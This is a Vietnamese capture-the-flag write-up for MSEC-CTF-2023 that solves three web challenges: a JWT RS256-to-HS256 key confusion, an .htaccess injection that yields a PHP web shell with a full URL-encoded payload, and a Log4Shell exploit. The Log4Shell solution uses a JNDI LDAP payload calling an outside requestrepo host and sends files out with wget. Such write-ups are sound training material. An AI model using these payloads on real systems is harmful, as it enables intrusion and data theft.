---
# System prepended metadata

title: MSEC-CTF-2023

---

## WEB
### Chơi như MSEC
SKRT ... SKRT ...
![](https://hackmd.io/_uploads/SyCgvsP23.png)



Một bài với sự khởi đầu khá là "choáy" với nhạc của Andree và hint từ phía tác giả: "Cần phải đăng nhập dưới vai trò của Admin".
Tiến hành Recon nhẹ xíu:
![](https://hackmd.io/_uploads/HJKMujwh2.png)

Ok, có path `backup/`(`robots.txt` cũng sẽ là hint dẫn tới `backup/`)
Truy cập vào `backup` chúng ta sẽ tải 1 file `public.pem` về:
![](https://hackmd.io/_uploads/BJC_Ojv33.png)

Nội dung file:
![](https://hackmd.io/_uploads/SJwoOsw2n.png)

Hướng đi của mình đối với những dạng bài này là check `Cookie` xem có `token` không:
![](https://hackmd.io/_uploads/BksMFoP2h.png)

Sử dụng `jwt.io` để decode ra:
![](https://hackmd.io/_uploads/SkFdFsP2h.png)

Vậy mục tiêu của chúng ta ở đây là thay đổi `username` bằng cách sử dụng `public.pem` hay còn gọi là `JWT attack`.
Việc JWT sử dụng `"alg":"RS256"` và có file `public.pem`, chúng ta sẽ sử dụng tool `RS256-2-HS256`.
Link tool: https://github.com/3v4Si0N/RS256-2-HS256
![](https://hackmd.io/_uploads/B1SBsjDh3.png)

Thay token vào và lấy flag.
Flag:`MSEC{ms3c_q0t_4_b4nq_n0_c4p}`.


### Uploadsoeasy
Bài này khi vào sẽ cho luôn source PHP:
![](https://hackmd.io/_uploads/H1x53jD2n.png)

Bài sẽ nhận 2 tham số đầu vào là `shell` và `filename` với việc cả 2 đều sẽ có filter.
Thử payload:`?filename=a&shell=b` rồi tiến hành truy cập vào file `a`:
![](https://hackmd.io/_uploads/S11Gpiw23.png)

Ồ. Vậy thì mình sẽ thử up `phpinfo()` vào trong `index.php` xem nào:
![](https://hackmd.io/_uploads/rJ0FAsDhh.png)
![](https://hackmd.io/_uploads/rJWj0ivh3.png)

Hihi không được rồi, check source để tìm lý do nào. Tại file `000-default.conf`:
```
DocumentRoot /var/www/html
php_admin_flag engine off

<Location />
    AllowOverride all
    Require all granted
</Location>

<Location /index.php>
    php_admin_flag engine on
</Location>
```
Vậy với `php_admin_flag engine off`, PHP sẽ bị ngăn không cho thực thi trong đường dẫn `/var/www/html` và phía dưới mở cho `/index.php` chạy mà thôi. Ngoài ra chúng ta cần chú ý là `/` cho phép việc sử dụng `.htaccess` để ghi đè lên các chỉ thị cấu hình (`AllowOverride all`).
Vậy thì mình sẽ thử việc ghi đè vào file `.htaccess` bởi nó không yêu cầu khởi động lại máy chủ và đặc quyền từ quản trị viên.
Research 1 chút ta sẽ có được:
![](https://hackmd.io/_uploads/S19nl2Dn2.png)

Link: https://github.com/sektioneins/pcc/wiki/PHP-htaccess-injection-cheat-sheet
Để bypass các từ filter thì mình sẽ sử dụng `\n`. (Nhớ cả encode URL nha).
```
php_value auto_prepend_fil\
e ".htaccess"
#<?php phpinfo();?>
#\
```
Okiee, sau khi đã chạy được `phpinfo()`, ta sẽ tiến hành list các file ra:
```
php_value auto_prepend_fil\
e ".htaccess"
#<?php system('ls -al /');?>
#\
```
![](https://hackmd.io/_uploads/SkYpb3vn2.png)

Khổ nỗi là yêu cầu quyền root để đọc ạ :))). Mình sẽ tiến hành upshell lên:
```
php_value auto_prepend_fil\
e ".htaccess"
#<?php system('GET[1]');?>
#\
```
`?filename=.htaccess&shell=php_value+auto_prepend_fi\%0D%0Ale+.htaccess%0D%0A%23<%3Fphp system('GET[1]')%3B%3F>%0D%0A%23\&1=cat /flag`
![](https://hackmd.io/_uploads/HkiSMhDnh.png)

Flag này mình lấy ở local nha, mọi người làm ở trên để lấy flag thật.


### RCE Me??? 
Khởi đầu bằng 1 trang poster thông báo về giải thi CTF. Check source chút:
```java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf2023.msec;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestHeader;

@Controller
public class MainController {
    private static final Logger logger = LogManager.getLogger("Logger");

    public MainController() {
    }

    @GetMapping({"/"})
    public String index(@RequestHeader("User-Agent") String userAgent) {
        logger.info("Received a request from: " + userAgent);
        return "index.html";
    }

    @GetMapping({"/about"})
    public String about() {
        return "about.html";
    }

    @GetMapping({"/hidden"})
    public String hidden() {
        return "hidden.html";
    }
}
```
Chú ý một chút thì ta sẽ thấy `Untrusted data` là `User-Agent`, ngoài ra còn sử dụng thư viện `Log4j` để ghi lại => Đoán rằng liên quan đến CVE của `Log4j`.

#### Những điều cần biết:
`Log4j` là một trình ghi lại nhật ký nổi tiếng của Java được tạo ra vào năm 2001. Thay vì sử dụng `print statements`, các dòng code sẽ trở thành:
```java
logging.INFO(“Application Started”)
logging.WARN(“File Uploaded”)
logging.DEBUG(“SQL Query Ran”)
```

`JNDI`(Java Naming and Directory Interface) là một API Java cho một dịch vụ thư mục cho phép các ứng dụng khách phần mềm Java khám phá và tra cứu dữ liệu và tài nguyên thông qua tên. Nói 1 cách dễ hiểu hơn là `JNDI` giúp ứng dụng có thể truy cập các nguồn tài nguyên từ bên ngoài, đưa nó về ứng dụng của mình.

`LDAP`(Lightweight Directory Access Protocol) là một giao thức ứng dụng truy cập các cấu trúc thư mục. LDAP được thiết kế trên giao thức Internet TCP/IP.

#### Thực hành
Điều đầu tiên khi làm những bài Java là chúng ta cần xác định phiên bản của nó:
+ Cách 1: Check `Docker` :v 
![](https://hackmd.io/_uploads/ryyTNH0n3.png)
Vậy sẽ là JDK bản 11

+ Cách 2: Tận dụng luôn `Log4Shell`
Do việc chúng ta kiểm soát được `User-Agent` và nó được ghi lại vào Log nên ta tiến hành đưa payload vào: `${jndi:ldap://${sys:java.version}.95wnc0wb.requestrepo.com/a}`
![](https://hackmd.io/_uploads/BJ_wLS03h.png)

![](https://hackmd.io/_uploads/ryOR8BAhn.png)

Xác định phiên bản xong rồi, chúng ta cần chú ý một chút là ở những phiên bản cao hơn, payload cho lỗ hổng `Log4Shell` cần được unserialize (Tác giả cũng đã hint trong title của `/hidden`)
![](https://hackmd.io/_uploads/H1VYPBC23.png)

![](https://hackmd.io/_uploads/Bkp1uSAh3.png)

Ở bài này chúng ta sẽ dùng `JNDI-Exploit-Kit` và sử dụng `ngrok`:
![](https://hackmd.io/_uploads/Ske2YSCn2.png)

Tool cho phép chúng ta tạo ra payload, ở đây sau khi check source thì thấy sử dụng lib `commons-colection-3.1` nên theo `ysoserial` ta sẽ sử dụng CC5
![](https://hackmd.io/_uploads/HkGm5HChh.png)

![](https://hackmd.io/_uploads/SyrXarC23.png)

Tiến hành thử truy cập đến `Webhook`
![](https://hackmd.io/_uploads/r17qTB0hh.png)

![](https://hackmd.io/_uploads/SJIn6rAh2.png)
Tadaa, đã có request tới, vậy để lấy được flag, ta sẽ tiến hành list thư mục: `ls />/tmp/a`, sau đó gửi file ra ngoài bằng `wget`
![](https://hackmd.io/_uploads/HyJDRH0h2.png)

![](https://hackmd.io/_uploads/BJjnCSC33.png)

Flag:`MSEC{T0o!_Te3n_L4f_Ho0?}`



